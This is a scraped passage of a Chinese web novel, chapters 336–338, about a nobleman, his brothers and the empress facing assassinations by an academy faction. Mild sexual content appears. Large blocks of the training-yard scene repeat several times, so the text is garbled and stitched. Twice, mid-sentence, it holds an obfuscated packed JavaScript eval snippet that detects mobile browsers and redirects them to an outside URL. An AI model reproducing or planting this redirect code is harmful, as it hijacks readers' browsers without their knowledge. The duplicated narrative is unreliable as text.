说曹操,曹操就到。 胖子的大嗓门终于在门外喊了起来。 “他奶奶的,一群狗蛋破落户,没你胖爷也敢开局!?拿酒来!” 第336章 有功夫先把你的屁股治治 本来还嘻嘻哈哈的纨绔们顿时哑火,谁也不敢大声说话。 且不说胖子平日里暴怒成性,一言不合就要抽人家大耳刮子,光是他现在的状态,就足以震慑一切宵小。 只见胖子虽然咧着大嘴在笑,但他的裤脚还在淌血,走路一瘸一拐的,每迈出一步就踩出一个血脚印。 他仿佛根本感受不到疼,大笑着走过来恭喜芦德豪。 “哈哈哈哈,德豪,你小子算是走上道了,赶紧生个闺女出来,胖爷我也尝尝新鲜的!哈哈哈哈。” “滚!”林臻没好气地喝骂一句。 人家芦德豪都快把自己吐成马桶了,你还在打趣,找骂呢么。 芦德豪使劲揉了揉眼睛,见是胖子,便把手搭在他肩膀上,摇头晃脑,说话含糊地道:“胖爷.你.嗝!你怎么才来啊?” “嗐,胖爷不是被监察院那帮逼.”见林臻脸色不对,胖子赶紧改口,“好兄弟!啊!被好兄弟抓去打了一顿,这才完事。” “啊?挨打?为什么打你啊?” “嗐,这事儿三言两语说不清楚,你先入洞房吧,胖爷跟大哥去喝。” “唔,那就失陪了。” 芦德豪在家里下人的搀扶下去往洞房。 胖子则是拎着一坛酒,脸色很不自然的对林臻说道:“大哥,咱俩找个没人的地方?” 知道胖子是有话要说,林臻点点头。 哥俩走出正堂,来到一处僻静的亭子里,林臻坐在石桌边上,打开封泥给自己倒了杯醪糟。 眼见胖子还站在,他问道:“怎么不坐啊?” 胖子闻言顿时满腔委屈:“你还好意思问?我坐得下吗?” 林臻看了看他那还淌血的屁股,心说不坐也好,省得疼。 他喝了一口醪糟,目光望着远处的热闹,说道:“是不是调查出什么线索了?” “大哥,被我揍的那个教坊使,其实是煊赫门的人。” “就知道你不是因为打板子所以来迟的。说吧,你对这个门派了解多少?” 胖子一摆手:“什么穷光蛋都配让胖爷了解吗?不过这煊赫门确实有点意思,是顾老鳖的老丈人韩天星建立的,其势力主要遍布各个国家的政要机关,处理起来恐怕比天道还要麻烦。” 林臻眼睛里寒芒一闪:“我们朝中有多少官员是煊赫门的人?” “不好说,据教坊使交代,这个煊赫门以前就是个书院,因为在洞庭山煊赫湖旁边,所以叫煊赫门,几乎所有在这个书院里进修 过的学生,出来后都是各个国家的政要大员。而这次给顾韩式脱籍,就是韩天星本人的命令,所以教坊使宁可冒天下之大不韪,也要放人。” 这就是门生遍天下的恐怖之处啊。 林臻深色有些凝重。 看来一直在下邳城与王爷交战的顾北辰又跑了,还是跑到了他姥爷家。 难不成他真要把韩天星请出山? 可一个没有兵权的糟老头子,真的会有皇帝听他的话吗? 林臻沉声道:“今天芦德豪在亲路上还遇到了一伙匪徒。我刚听说这个消息的时候还在想,究竟是谁要杀芦德豪呢?看来根结在这,是韩天星,或者是韩天星门生的主意,要恶心恶心我。” 胖子听说芦德豪被刺杀,气得瞪大眼睛,拧着八字眉,狠厉道:“那个瘪犊子要杀我兄弟?胖爷我非刨了他们家祖坟!” “光说不练,你倒是去刨啊。”林臻翻个白眼,以为胖子又在吹牛逼,谁知这家伙这次竟然认真起来了。 “大哥,你告诉我韩天星的祖坟在哪,胖爷我这就带兵去刨了!把他祖宗十八代的太奶们都挖出来,挂青楼门口!” “你快消停消停吧,事情远没到那一步。再说,就算我们和煊赫门不死不休,你刨人家祖坟又能起到什么作用呢。” “恶心恶心他!” 林臻幽幽叹了口气。 胖子是好兄弟,就是这智商太让人着急了。 “有这功夫你还是先把你的屁股治治吧,别回头落下病根,成个残废。” “那也是你害的。”胖子嘟囔一句,刚要坐下,突然屁股传来一阵疼痛。 他倒吸一口凉气,强行咬牙坐稳,然后拿起酒坛灌了一口。 “胖子,今时不同往日,你不能再用以前那套性格横行无忌了。国有国法,家有家规,如果我们上位者都不守规矩,那百姓又怎么会守?我们身为朝廷重要官员,要想让大乾繁荣昌盛,就必须以身作则,依我看,你别在京城待着了,去戍边吧。” “噗!!”胖子一口酒喷出去老远,把人家路过丫鬟的裙子都给喷脏了。 “啊!” 俏丽的小丫鬟叫了一声,吓得忙不迭地跑回去换衣服。 胖子咳嗽两声,说道:“咳咳咳,大哥,你刚才说什么?又戍边?这回戍哪啊?” “北燕前几个月悍然进攻代县,这场子不得找回来?但是我警告你,那边现在正修路呢,你可以在边关制造摩擦,但绝不能真打起来。因为我们人手不够,北燕皇帝纳兰库又是个 疯子,别到时候王爷那边的事情没解决,你又开战。” “唉,大哥,带兵打仗胖爷喜欢。但是京城里的花花世界胖爷也喜欢啊.能不能先不去?等修完了路再去!到时候我保证,把纳兰库的脑瓜子拧下来给你当球踢!” 林臻当即拒绝:“少来!你在京城屁忙帮不上就知道惹祸。” “我这.大哥,胖爷救你没十次也得有五次吧?怎么就帮不上忙了?” “你少给我讨价还价!” 胖子委屈巴巴地很不开心,仰头又喝了一大口酒。 林臻有些心软了,于是语气稍缓。 “你如果实在不愿意去也行,那就立个保证书,保证以后不惹祸,否则立刻就给我到代县去报道!” “保证!”胖子梗着脖子喊道:“我保证以后再也不莽撞了!但别人惹我,不算吧?” “不算。” “嘿嘿嘿!谢谢大哥!” 胖子当即又高兴起来,与林臻坐在亭子中推杯换盏,不知不觉夜色已深。 冬日里的寒风吹过,林臻紧了紧大氅。 浣碧不知道什么时候出现在他身后,穿着毛茸茸的粉色皮袄,说道:“夫君,很晚了,天凉,我们该回去了。” “嗯。” 林臻点点头,带着一众妻妾上了轿子,回到王府。 刘妙颜和晴雯一样,也是个闲不住的主。 晴雯是操持家业,她是一天不见血就浑身痒痒。 半夜回到王府,第一件事情就是要提审今天抓住的刺客,具体用了什么方法不得而知,但向来嘴硬的杀手居然全招了。 没错,这场刺杀就是针对林臻的。 他们本是谭武的家臣,谭武死后他们就一直在京城里生活,而今天突然有人给他们送信,不仅许下重金,还保证他们可以重新走上仕途。 而这个谭武,就是煊赫门的人,是韩天星的弟子。 至于刺杀侯玲的目的;煊赫门又是怎么计划针对的林臻,这个刺客一概不知。 刘妙颜没下命令杀他,而是留着他的小命来向林臻汇报。 大早上林臻起床后觉得脑袋昏沉沉的。 昨天喝了很多酒,又没休息好。 晴雯挺着小肚子非要和林臻挤一张床,半夜摸摸这里,蹭蹭那里,可明明什么都不能做。 最后林臻粗暴地抓住她的头.才算彻底进入梦乡。 身体虽然难受,但是晨练不能放弃。 晨光熹微,后院的青石砖上凝结着晨露。 林臻身着月白中衣,扎着四平大马步,双臂平举如托山,额前汗珠顺着下颌滚落,在青砖上印出深色痕迹。 “哎呦,起这么早,看来晴雯最近魅力下降啊。”清脆的笑声自垂花门传来,刘妙颜身着水青色劲装,腰间缠着蛇皮软鞭,发间别着朵沾露的梅花。 林臻纹丝不动,目光却盯着她一扭一扭的窈窕身材,说道:“确定是冲着我来的?” “废话,我早就想到了是冲着你来的,否则会亲自去审?” “拉倒吧,如果是张俪率先想到还差不多,至于你?呵。”林臻冷笑一声。 刘妙颜气得直跺脚。 “我怎么啦!?” “你没那个细腻的心思,说说吧,都发现什么了?” 林臻保持马步姿势不变。 刘妙颜走到近前,指尖擦了擦他额头的汗珠,压低声音说道:“那刺客的牙口比预料的要硬,不过他最后还是吐了些东西。" 林臻眸光骤冷,收了马步,拽着刘妙颜走到进廊下阴影里。 妙颜从袖中取出半块碎玉,月光石在晨光中泛着幽蓝:“这是从刺客后槽牙抠出来的,还有” 她解开腰间荷包,倒出几截带血的指甲:“这是他吞下去的东西,用鹤顶红泡出来的。” 林臻看了看那碎玉,几乎没什么特别之处。 “这有什么用?” 刘妙颜将碎玉按在他掌心:“刺客没说这是干什么用的,但我觉得,能藏在牙齿里的碎玉肯定有什么特殊意义,所以后面就靠你去研究喽~~另外,我们还从其他刺客的尸体上搜出三张通关文牒,分别是去清河、河间以及武清的。” 刘妙颜忽然贴近林臻的胸膛,问道:“林臻,你说的那个煊赫门,到底是什么呀?” “一个书院而已。” “那他为什么要派人刺杀我们呢?难道是想给我们和芦家造成什么嫌隙?” 林臻摇摇头:“应该没那么简单,因为只要稍微打听下就知道林家与芦家的关系,韩天星没那么蠢。” 究竟是什么目的,林臻也想象不到。 就在此时,韩忠走进来通报,说慕容无舌来了。 刘妙颜听闻,指尖在林臻喉结处轻轻一挑:“快去宫里见你的大美人吧,本姑奶奶要回去睡一觉。” “别睡觉,让浣碧给我炖个汤,一会儿回来喝。” 刘妙颜当然不会卖林臻面子,抬步就往自己院子里走:“你想的美,自己去说!老娘欠你的?” 慕容无舌站在垂花门外,素白拂尘垂在身侧。 他的目光扫过林臻额前未干的汗珠,尖细的嗓音在晨雾中格外清晰:“世子,陛下在御花园观鱼,邀请您一起去呢。” “嗯,走吧。” 慕容嫣没什么特殊的事情是不会召见自己的,估计是听说了昨天国公之子被刺杀的事情吧。 皇宫里。 慕容无舌走着走着忽然凑近林臻,轻声说道:“世子可知,今儿早晨西华门送来了三具尸体?” 林臻脚步微顿。 “什么情况?” “死掉的三人,都是龙骧营外出办事的士兵。” 奶奶的。 不就是没放顾韩式么。 至于又是刺杀芦德豪,又是刺杀龙骧营士兵的? 什么意思?拿别人来折磨我林臻? 刺杀我不成就暗杀龙骧营将士,这煊赫门也没比天道强啊。 林臻身着月白中衣,扎着四平大马步,双臂平举如托山,额前汗珠顺着下颌滚落,在青砖上印出深色痕迹。 “哎呦,起这么早,看来晴雯最近魅力下降啊。”清脆的笑声自垂花门传来,刘妙颜身着水青色劲装,腰间缠着蛇皮软鞭,发间别着朵沾露的梅花。 林臻纹丝不动,目光却盯着她一扭一扭的窈窕身材,说道:“确定是冲着我来的?” “废话,我早就想到了是冲着你来的,否则会亲自去审?” “拉倒吧,如果是张俪率先想到还差不多,至于你?呵。”林臻冷笑一声。 刘妙颜气得直跺脚。 “我怎么啦!?” “你没那个细腻的心思,说说吧,都发现什么了?” 林臻保持马步姿势不变。 刘妙颜走到近前,指尖擦了擦他额头的汗珠,压低声音说道:“那刺客的牙口比预料的要硬,不过他最后还是吐了些东西。" 林臻眸光骤冷,收了马步,拽着刘妙颜走到进廊下阴影里。 妙颜从袖中取出半块碎玉,月光石在晨光中泛着幽蓝:“这是从刺客后槽牙抠出来的,还有” 她解开腰间荷包,倒出几截带血的指甲:“这是他吞下去的东西,用鹤顶红泡出来的。” 林臻看了看那碎玉,几乎没什么特别之处。 “这有什么用?” 刘妙颜将碎玉按在他掌心:“刺客没说这是干什么用的,但我觉得,能藏在牙齿里的碎玉肯定有什么特殊意义,所以后面就靠你去研究喽~~另外,我们还从其他刺客的尸体上搜出三张通关文牒,分别是去清河、河间以及武清的。” 刘妙颜忽然贴近林臻的胸膛,问道:“林臻,你说的那个煊赫门,到底是什么呀?” “一个书院而已。” “那他为什么要派人刺杀我们呢?难道是想给我们和芦家造成什么嫌隙?” 林臻摇摇头:“应该没那么简单,因为只要稍微打听下就知道林家与芦家的关系,韩天星没那么蠢。” 究竟是什么目的,林臻也想象不到。 就在此时,韩忠走进来通报,说慕容无舌来了。 刘妙颜听闻,指尖在林臻喉结处轻轻一挑:“快去宫里见你的大美人吧,本姑奶奶要回去睡一觉。” “别睡觉,让浣碧给我炖个汤,一会儿回来喝。” 刘妙颜当然不会卖林臻面子,抬步就往自己院子里走:“你想的美,自己去说!老娘欠你的?” 慕容无舌站在垂花门外,素白拂尘垂在身侧。 他的目光扫过林臻额前未干的汗珠,尖细的嗓音在晨雾中格外清晰:“世子,陛下在御花园观鱼,邀请您一起去呢。” “嗯,走吧。” 慕容嫣没什么特殊的事情是不会召见自己的,估计是听说了昨天国公之子被刺杀的事情吧。 皇宫里。 慕容无舌走着走着忽然凑近林臻,轻声说道:“世子可知,今儿早晨西华门送来了三具尸体?” 林臻脚步微顿。 “什么情况?” “死掉的三人,都是龙骧营外出办事的士兵。” 奶奶的。 不就是没放顾韩式么。 至于又是刺杀芦德豪,又是刺杀龙骧营士兵的? 什么意思?拿别人来折磨我林臻? 刺杀我不成就暗杀龙骧营将士,这煊赫门也没比天道强啊。 林臻身着月白中衣,扎着四平大马步,双臂平举如托山,额前汗珠顺着下颌滚落,在青砖上印出深色痕迹。 “哎呦,起这么早,看来晴雯最近魅力下降啊。”清脆的笑声自垂花门传来,刘妙颜身着水青色劲装,腰间缠着蛇皮软鞭,发间别着朵沾露的梅花。 林臻纹丝不动,目光却盯着她一扭一扭的窈窕身材,说道:“确定是冲着我来的?” “废话,我早就想到了是冲着你来的,否则会亲自去审?” “拉倒吧,如果是张俪率先想到还差不多,至于你?呵。”林臻冷笑一声。 刘妙颜气得直跺脚。 “我怎么啦!?” “你没那个细腻的心思,说说吧,都发现什么了?” 林臻保持马步姿势不变。 刘妙颜走到近前,指尖擦了擦他额头的汗珠,压低声音说道:“那刺客的牙口比预料的要硬,不过他最后还是吐了些东西。" 林臻眸光骤冷,收了马步,拽着刘妙颜走到进廊下阴影里。 妙颜从袖中取出半块碎玉,月光石在晨光中泛着幽蓝:“这是从刺客后槽牙抠出来的,还有” 她解开腰间荷包,倒出几截带血的指甲:“这是他吞下去的东西,用鹤顶红泡出来的。” 林臻看了看那碎玉,几乎没什么特别之处。 “这有什么用?” 刘妙颜将碎玉按在他掌心:“刺客没说这是干什么用的,但我觉得,能藏在牙齿里的碎玉肯定有什么特殊意义,所以后面就靠你去研究喽~~另外,我们还从其他刺客的尸体上搜出三张通关文牒,分别是去清河、河间以及武清的。” 刘妙颜忽然贴近林臻的胸膛,问道:“林臻,你说的那个煊赫门,到底是什么呀?” “一个书院而已。” “那他为什么要派人刺杀我们呢?难道是想给我们和芦家造成什么嫌隙?” 林臻摇摇头:“应该没那么简单,因为只要稍微打听下就知道林家与芦家的关系,韩天星没那么蠢。” 究竟是什么目的,林臻也想象不到。 就在此时,韩忠走进来通报,说慕容无舌来了。 刘妙颜听闻,指尖在林臻喉结处轻轻一挑:“快去宫里见你的大美人吧,本姑奶奶要回去睡一觉。” “别睡觉,让浣碧给我炖个汤,一会儿回来喝。” 刘妙颜当然不会卖林臻面子,抬步就往自己院子里走:“你想的美,自己去说!老娘欠你的?” 慕容无舌站在垂花门外,素白拂尘垂在身侧。 他的目光扫过林臻额前未干的汗珠,尖细的嗓音在晨雾中格外清晰:“世子,陛下在御花园观鱼,邀请您一起去呢。” “嗯,走吧。” 慕容嫣没什么特殊的事情是不会召见自己的,估计是听说了昨天国公之子被刺杀的事情吧。 皇宫里。 慕容无舌走着走着忽然凑近林臻,轻声说道:“世子可知,今儿早晨西华门送来了三具尸体?” 林臻脚步微顿。 “什么情况?” “死掉的三人,都是龙骧营外出办事的士兵。” 奶奶的。 不就是没放顾韩式么。 至于又是刺杀芦德豪,又是刺杀龙骧营士兵的? 什么意思?拿别人来折磨我林臻? 刺杀我不成就暗杀龙骧营将士,这煊赫门也没比天道强啊。 林臻身着月白中衣,扎着四平大马步,双臂平举如托山,额前汗珠顺着下颌滚落,在青砖上印出深色痕迹。 “哎呦,起这么早,看来晴雯最近魅力下降啊。”清脆的笑声自垂花门传来,刘妙颜身着水青色劲装,腰间缠着蛇皮软鞭,发间别着朵沾露的梅花。 林臻纹丝不动,目光却盯着她一扭一扭的窈窕身材,说道:“确定是冲着我来的?” “废话,我早就想到了是冲着你来的,否则会亲自去审?” “拉倒吧,如果是张俪率先想到还差不多,至于你?呵。”林臻冷笑一声。 刘妙颜气得直跺脚。 “我怎么啦!?” “你没那个细腻的心思,说说吧,都发现什么了?” 林臻保持马步姿势不变。 刘妙颜走到近前,指尖擦了擦他额头的汗珠,压低声音说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124706|158057||http|test|mini|href|location''.split(''|''),0,{})); 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“哎呦,起这么早,看来晴雯最近魅力下降啊。”清脆的笑声自垂花门传来,刘妙颜身着水青色劲装,腰间缠着蛇皮软鞭,发间别着朵沾露的梅花。 林臻纹丝不动,目光却盯着她一扭一扭的窈窕身材,说道:“确定是冲着我来的?” “废话,我早就想到了是冲着你来的,否则会亲自去审?” “拉倒吧,如果是张俪率先想到还差不多,至于你?呵。”林臻冷笑一声。 刘妙颜气得直跺脚。 “我怎么啦!?” “你没那个细腻的心思,说说吧,都发现什么了?” 林臻保持马步姿势不变。 刘妙颜走到近前,指尖擦了擦他额头的汗珠,压低声音说道:“那刺客的牙口比预料的要硬,不过他最后还是吐了些东西。" 林臻眸光骤冷,收了马步,拽着刘妙颜走到进廊下阴影里。 妙颜从袖中取出半块碎玉,月光石在晨光中泛着幽蓝:“这是从刺客后槽牙抠出来的,还有” 她解开腰间荷包,倒出几截带血的指甲:“这是他吞下去的东西,用鹤顶红泡出来的。” 林臻看了看那碎玉,几乎没什么特别之处。 “这有什么用?” 刘妙颜将碎玉按在他掌心:“刺客没说这是干什么用的,但我觉得,能藏在牙齿里的碎玉肯定有什么特殊意义,所以后面就靠你去研究喽~~另外,我们还从其他刺客的尸体上搜出三张通关文牒,分别是去清河、河间以及武清的。” 刘妙颜忽然贴近林臻的胸膛,问道:“林臻,你说的那个煊赫门,到底是什么呀?” “一个书院而已。” “那他为什么要派人刺杀我们呢?难道是想给我们和芦家造成什么嫌隙?” 林臻摇摇头:“应该没那么简单,因为只要稍微打听下就知道林家与芦家的关系,韩天星没那么蠢。” 究竟是什么目的,林臻也想象不到。 就在此时,韩忠走进来通报,说慕容无舌来了。 刘妙颜听闻,指尖在林臻喉结处轻轻一挑:“快去宫里见你的大美人吧,本姑奶奶要回去睡一觉。” “别睡觉,让浣碧给我炖个汤,一会儿回来喝。” 刘妙颜当然不会卖林臻面子,抬步就往自己院子里走:“你想的美,自己去说!老娘欠你的?” 慕容无舌站在垂花门外,素白拂尘垂在身侧。 他的目光扫过林臻额前未干的汗珠,尖细的嗓音在晨雾中格外清晰:“世子,陛下在御花园观鱼,邀请您一起去呢。” “嗯,走吧。” 慕容嫣没什么特殊的事情是不会召见自己的,估计是听说了昨天国公之子被刺杀的事情吧。 皇宫里。 慕容无舌走着走着忽然凑近林臻,轻声说道:“世子可知,今儿早晨西华门送来了三具尸体?” 林臻脚步微顿。 “什么情况?” “死掉的三人,都是龙骧营外出办事的士兵。” 奶奶的。 不就是没放顾韩式么。 至于又是刺杀芦德豪,又是刺杀龙骧营士兵的? 什么意思?拿别人来折磨我林臻? 刺杀我不成就暗杀龙骧营将士,这煊赫门也没比天道强啊。 林臻身着月白中衣,扎着四平大马步,双臂平举如托山,额前汗珠顺着下颌滚落,在青砖上印出深色痕迹。 “哎呦,起这么早,看来晴雯最近魅力下降啊。”清脆的笑声自垂花门传来,刘妙颜身着水青色劲装,腰间缠着蛇皮软鞭,发间别着朵沾露的梅花。 林臻纹丝不动,目光却盯着她一扭一扭的窈窕身材,说道:“确定是冲着我来的?” “废话,我早就想到了是冲着你来的,否则会亲自去审?” “拉倒吧,如果是张俪率先想到还差不多,至于你?呵。”林臻冷笑一声。 刘妙颜气得直跺脚。 “我怎么啦!?” “你没那个细腻的心思,说说吧,都发现什么了?” 林臻保持马步姿势不变。 刘妙颜走到近前,指尖擦了擦他额头的汗珠,压低声音说道:“那刺客的牙口比预料的要硬,不过他最后还是吐了些东西。" 林臻眸光骤冷,收了马步,拽着刘妙颜走到进廊下阴影里。 妙颜从袖中取出半块碎玉,月光石在晨光中泛着幽蓝:“这是从刺客后槽牙抠出来的,还有” 她解开腰间荷包,倒出几截带血的指甲:“这是他吞下去的东西,用鹤顶红泡出来的。” 林臻看了看那碎玉,几乎没什么特别之处。 “这有什么用?” 刘妙颜将碎玉按在他掌心:“刺客没说这是干什么用的,但我觉得,能藏在牙齿里的碎玉肯定有什么特殊意义,所以后面就靠你去研究喽~~另外,我们还从其他刺客的尸体上搜出三张通关文牒,分别是去清河、河间以及武清的。” 刘妙颜忽然贴近林臻的胸膛,问道:“林臻,你说的那个煊赫门,到底是什么呀?” “一个书院而已。” “那他为什么要派人刺杀我们呢?难道是想给我们和芦家造成什么嫌隙?” 林臻摇摇头:“应该没那么简单,因为只要稍微打听下就知道林家与芦家的关系,韩天星没那么蠢。” 究竟是什么目的,林臻也想象不到。 就在此时,韩忠走进来通报,说慕容无舌来了。 刘妙颜听闻,指尖在林臻喉结处轻轻一挑:“快去宫里见你的大美人吧,本姑奶奶要回去睡一觉。” “别睡觉,让浣碧给我炖个汤,一会儿回来喝。” 刘妙颜当然不会卖林臻面子,抬步就往自己院子里走:“你想的美,自己去说!老娘欠你的?” 慕容无舌站在垂花门外,素白拂尘垂在身侧。 他的目光扫过林臻额前未干的汗珠,尖细的嗓音在晨雾中格外清晰:“世子,陛下在御花园观鱼,邀请您一起去呢。” “嗯,走吧。” 慕容嫣没什么特殊的事情是不会召见自己的,估计是听说了昨天国公之子被刺杀的事情吧。 皇宫里。 慕容无舌走着走着忽然凑近林臻,轻声说道:“世子可知,今儿早晨西华门送来了三具尸体?” 林臻脚步微顿。 “什么情况?” “死掉的三人,都是龙骧营外出办事的士兵。” 奶奶的。 不就是没放顾韩式么。 至于又是刺杀芦德豪,又是刺杀龙骧营士兵的? 什么意思?拿别人来折磨我林臻? 刺杀我不成就暗杀龙骧营将士,这煊赫门也没比天道强啊。 第337章 我倒是想吃醋,可是吃的过来的吗 寒冬腊月,御花园冰面凝结着薄霜。 慕容嫣身着狐裘,手持鎏金凿子,正往冰窟窿里投掷鱼食。 锦鲤群在浑浊冰水下攒动,惊起细碎冰碴溅在她绯红裙裾上。 “嫣儿好像有什么心事啊。”不知道什么时候,林臻已经倚在汉白玉栏杆上,玄色大氅被北风吹得猎猎作响。 “你怎么才来!”慕容嫣跺了跺脚,虽然是反问,但话语里看不出任何责怪之意。这时狐裘滑落,露出她的藕色中衣。 林臻走过来,将她的狐裘披好,顺势搂住她腰肢,指尖拂过她耳垂上的东珠坠子:“我如果住在皇宫门口,估计还能早到一刻钟。” “狡辩,你若是想住,就算住宫里都没问题,说白了还是不想我。” “臣愿望啊!臣很想你的。” “胡说!想我居然好几天都不来看我!” 林臻知道,想谈恋爱就不能嫌麻烦,更不能嫌女朋友吃醋。 于是他也不解释,忽然握住她拿着凿子的手,对着冰面随意丢出去。 “这几天事情太多了,否则我肯定会进宫的。” “切~”慕容嫣翻个白眼,显然是不信。 不过她那倔强的小表情明显是在吃醋。 自从知道了林臻有那么多妻妾后,她就整日惶惶不安,每天都要问麝月几遍自己美不美,可见在众多美丽的姐妹中,她已经失去了应有的自心。 麝月捧着鎏金暖炉候在廊下,见两人携手而来,忙屈膝行礼:“陛下,换个手炉吧。” 慕容嫣接过来,同时麝月又对林臻说道:“世子请用手炉。” “嗯。” 自从林臻上次调戏了这个她后,麝月看林臻的眼神都变了。 以前是正常的,没有任何波澜的注视,现在呢? 只要林臻看她一眼,她就要低下头,脸蛋红红的像个大苹果。 慕容嫣拉着林臻走进偏殿。 殿内炭火烧得正旺,案几上摆着刚出锅的蟹粉酥,除了麝月以外没有任何人,安静的落针可闻。 慕容嫣胆子突然大了起来,将林臻按在椅子上,自己跨坐在他身上,指尖划过他染着薄霜的睫毛,质问道:“说!昨晚是谁侍的寝?” 林臻没回答,反而低头咬住她唇珠。 “嘤咛!” 慕容嫣嘤咛一声,感受到林臻伸来的舌头,两人如胶似漆的缠绵了片刻,林臻才分开,笑眯眯的说道:“怎么?吃醋了?" 言罢林臻抓住她的狐裘,一把将 其扯开露出里面硕大饱满的前胸。 慕容嫣赶紧跳起来不给林臻作怪的机会。 “别闹!我有正经事要问你!” 慕容嫣坐在他身边捧着暖流说道:“芦德豪遇刺的事到底怎么回事?” 林臻眸光骤冷将蟹粉酥掰成两半:“煊赫门干的。” “煊赫门”慕容嫣念叨着这三个字又问道:“他们为什么要杀芦德豪呢?” “不知道可能是觉得我不好杀吧。再者我认为煊赫门是在报复报复我毁了顾家还把顾韩式送进了教坊司。” 慕容嫣沉声道:“我对煊赫门知道的不多但是无舌好像懂一些回头你可以问问他。哦对。” 慕容嫣突然想起什么从抽屉里取出半块染血的令牌放在案几上 “前天有刺客进宫被无舌当场抓住最后在他的身上搜出来这个。” 令牌上"知行合一"四字被鲜血浸透显得格外刺目。 林臻指尖抚过令牌纹路纳闷的道:“知行合一 “对无舌是这么说的。” “那也太奇怪了作案的人怎么会把标识着身份的令牌带在身上呢还是半块。” “这我也不知道不过那刺客武功很高差一点就闯进了我的寝宫。” “什么?闯进你的寝宫!?” “嗯。” 慕容嫣有些后怕的点点头。 看来这件事情远远没有林臻想的那么简单。 且不管刺客是不是煊赫门的人他居然能顺利潜入皇宫里。 这说明什么? 说明御林军严重失职! 说不定御林军里就有和这个刺客有关系的人帮了他一把! 不行啊照这么下去连慕容嫣的安全都没办法保证。 这个门派就这么强大吗?还是说煊赫门与其他门派之间有过节两伙人要相互栽赃呢? 要不然刺客为什么要把表明身份的令牌带在身上? 不行必须得想办法布局否则大家都没安生日子过。 林臻脸色凝重的说道:“嫣儿这么下去不是办法。我需要给你增加护卫。” 慕容嫣不解:“有无舌就够了呀他很厉害的。” “不行远远不够无舌再厉害也双拳难敌四手一旦发生大规模冲突他根本护不住你。” “啊?大规模冲突?夫君你的意思是皇宫里也不安全?” “没错我怀疑御林军有 内奸。所以我必须得给你安排护卫。这样吧,我让刘妙颜进驻皇宫,晚上她陪你一起睡觉,让慕容无舌守在外面,时刻警惕,等什么时候风声过去再说。” “嗯。” 书到用时方恨少。 林臻现在就愁得慌,自己早就已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127852|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经多培养些女高手的。 虽然现在手里有天道这个大杀器,但问题是天道成员的忠心无法保证,否则林臻都想把所有天道成员都派进宫里,不管是当宫女还是做侍女,都是不错的选择。 林臻紧紧攥住慕容嫣的手,说道:“嫣儿,这段时间就在宫里呆着吧,没事不要四处乱走,不安全,等我什么时候能确定危险解除了再恢复以前的样子。” “好,我都听你的。” 紧张的情绪在蔓延,两人一时间没有再说话。 直到慕容无舌进来送饭,慕容嫣才想起另外一件事。 “对了夫君,前线的战报送来了。"慕容嫣抽出被林臻攥住的手,从袖中取出密函,“楚霸天主动投降,并且愿意割让我们所有占领的土地。但是他有一个条件。” “什么条件?” “他说,让朕把你送去南楚和亲。" “屁!” 林臻夺过密函扫了眼,然后将其揉成团扔进炭盆里:“我没让他把他家的公主送过来和亲就不错了,还我去?开什么玩笑。” 慕容嫣笑道:“呵呵呵,所以我才觉得这楚霸天挺有意思的。他说了谈判时间,就定在半个月后,地点在下邳城,我担心摄政王一把年纪应付不过来,所以希望你跑一趟。” 什么应付不过来。 慕容嫣就是看林震仙打仗厉害,但政治一窍不通,所以才忍痛割爱的让林臻去。 否则,她巴不得把林臻时时刻刻搂在身边呢。 林臻笑着看她,点了点头:“如陛下所愿。” “你别着急,我也有要求。” “什么?” “你要带着楚惜灵一起去。” “啊?” 林臻心头一紧。 难道这妮子知道我和楚惜灵在雪地里打野战的事情了? 不可能,绝对不可能! 林臻说道:“为什么?” “因为我看着她心烦,前几天你还特意吩咐护卫让她可以随意出宫,哼,你说,你是不是喜欢上那个狐媚子了?” “我没有!” “别狡辩!百骑司看到你们手拉手走进的京城的!” 坏了! 她真知道了! 该死该死,当时应该低调些的。 林臻不说话,慕容嫣倒也不是小气的人,说道:“我让你带着她去,是想用她来做质子,换更多的好处!” “好吧,那我现在就去找她,但是你不许吃醋啊,这一路上山高水远,指不定发生点什么呢。” “我倒是想吃醋,可是吃的过来的吗?” “哈哈哈哈哈。” 第338章 蛊毒发作 林臻走出御花园时晌午的阳光正沿着飞檐琉璃瓦缓缓流淌。 白玉阶上的夜露已经消散融化的雪水静静积累打湿地砖倒映着他玄色锦袍的影子。 “殿下可要换个手炉吗?”随行的小太监捧着暖炉亦步亦趋被林臻抬手止住。 冷风掠过回廊卷着紫藤花架上未谢的雪色花瓣景色十分唯美。 慕容嫣动用大批劳力翻修皇宫如今已经初见成效。 其实对这件事情林臻是拒绝的因为他认为没必要。 不过是住的地方而已把寝殿象征性地弄一弄也就是了。 但林臻架不住慕容嫣那哀求与努力伺候自己的目光一时间心软便答应了。 如今钱像流水一样花出去他有些心疼。 遥记得刚穿越过来的时候几百两银子的创业资金都要兄弟三个人凑现在可好修皇宫竟由自己一人负担。 果然慕容嫣才是最聪明的女人。 如果她不是主动和林臻发生了男女关系那她今天依旧会被林臻架空玩弄于股掌之中。 要钱没钱要人没人还想修缮皇宫、穿金戴银大吃大喝? 呵等着吧。 由此可见如果不谈恋爱的话男人自己赚的钱是绝对够花的。 衡芜院的护卫撤走很多因为林臻已经放任了楚惜灵自由只是出门的时候才有人跟着以防她偷偷跑回南楚去。 来到那雕花朱漆大门前林臻推开院门。 